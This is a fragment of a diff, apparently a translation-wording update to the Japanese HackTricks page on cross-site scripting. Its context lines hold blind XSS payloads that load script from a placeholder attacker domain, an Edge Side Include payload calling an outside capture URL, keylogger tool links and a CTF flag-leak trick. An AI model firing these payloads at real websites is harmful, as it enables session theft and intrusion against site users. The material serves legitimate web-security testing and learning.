- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- また、metasploitの`http_javascript_keylogger`を使用することもできます
|
||||
- Metasploitの`http_javascript_keylogger`も使用できます
|
||||
|
||||
### CSRFトークンの盗み取り
|
||||
```javascript
|
||||
|
@ -1230,9 +1230,9 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Blind XSSペイロード
|
||||
### Blind XSS ペイロード
|
||||
|
||||
[https://xsshunter.com/](https://xsshunter.com)でも使用できます。
|
||||
以下も使用できます: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
|
@ -1274,7 +1274,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
```
|
||||
### 正規表現 - 隠されたコンテンツへのアクセス
|
||||
|
||||
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、一部の値がJSから消えても、異なるオブジェクトのJS属性にそれらを見つけることができることがわかります。例えば、正規表現の入力が削除された後でも、その入力の値を見つけることができます。
|
||||
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) から、一部の値がJSから消えても、異なるオブジェクトのJS属性にそれらを見つけることができることがわかります。たとえば、正規表現の入力が削除された後でも、その入力の値を見つけることができます。
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1297,7 +1297,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### Markdown内のXSS
|
||||
|
||||
Markdownコードを挿入して、レンダリングされるコードを取得できるかもしれません!次を確認してください:
|
||||
Markdownコードを挿入して、レンダリングされるかどうかを確認できますか?XSSを取得できるかもしれません!チェックしてください:
|
||||
|
||||
{% content-ref url="xss-in-markdown.md" %}
|
||||
[xss-in-markdown.md](xss-in-markdown.md)
|
||||
|
@ -1305,7 +1305,7 @@ Markdownコードを挿入して、レンダリングされるコードを取得
|
|||
|
||||
### XSSからSSRFへ
|
||||
|
||||
**キャッシュを使用するサイト**でXSSを取得しましたか?このペイロードを使用して、Edge Side Include Injectionを介してそれfalをSSRFにアップグレードしてみてください:
|
||||
**キャッシュを使用するサイト**でXSSを取得しましたか?このペイロードを使用して、Edge Side Include Injectionを介してそれをSSRFにアップグレードしてみてください:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1314,8 +1314,8 @@ Cookieの制限、XSSフィルターなどをバイパスするために使用
|
|||
|
||||
### 動的に作成されたPDF内のXSS
|
||||
|
||||
Webページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことができ、**任意のJSコードを実行**させることができます。\
|
||||
したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つける**と、それらを**解釈**し、この動作を悪用して**サーバーXSS**を引き起こすことができます。
|
||||
Webページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことができます。\
|
||||
したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグ**を見つけると、それらを**解釈**し、この動作を悪用して**サーバーXSS**を引き起こすことができます。
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1333,7 +1333,7 @@ AMPは、モバイルデバイスでのWebページのパフォーマンスを
|
|||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)形式は、特定のAMPコンポーネントを電子メールに拡張し、受信者が電子メール内でコンテンツと直接やり取りできるようにします。
|
||||
|
||||
例:[**Gmail内のAmp4EmailのXSSライティング**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
例:[**Gmail内のAmp4EmailのXSSに関する解説**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
### ファイルのアップロードにおけるXSS(svg)
|
||||
|
||||
|
@ -1409,7 +1409,7 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -1417,13 +1417,13 @@ id="foo"/>
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong></summary>
|
||||
<summary><strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
|
|